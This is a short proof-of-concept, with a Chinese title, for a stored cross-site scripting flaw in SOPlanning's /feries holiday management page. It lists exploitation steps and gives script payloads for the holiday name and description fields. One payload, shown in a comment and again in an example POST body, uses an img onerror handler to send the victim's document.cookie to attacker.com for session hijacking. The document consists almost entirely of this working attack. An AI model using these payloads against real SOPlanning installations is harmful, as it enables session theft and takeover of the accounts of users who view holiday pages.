CVE-2025-62731 SOPlanning存储型XSS漏洞

// CVE-2025-62731 Stored XSS PoC for SOPlanning /feries endpoint // This PoC demonstrates the XSS injection in the public holidays feature // Payload: <script>alert(document.cookie)</script> // Or more sophisticated payload for session hijacking: // <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> // Steps to exploit: // 1. Login to SOPlanning with admin or privileged user account // 2. Navigate to the /feries endpoint (Holiday management page) // 3. Add a new holiday with XSS payload in name/description field // 4. Save the holiday - payload is stored in database // 5. Any user viewing holidays or related pages will trigger the XSS // Example HTTP POST request to /feries endpoint: const pocPayload = { method: 'POST', path: '/feries', body: { name: '<script>alert(String.fromCharCode(88,83,83))</script>', date: '2025-01-01', description: '<img src=x onerror=fetch("https://attacker.com?c="+document.cookie)>' } }; // The injected script will execute when: // - Viewing the holidays list // - Viewing calendar with holidays displayed // - Any page that renders holiday information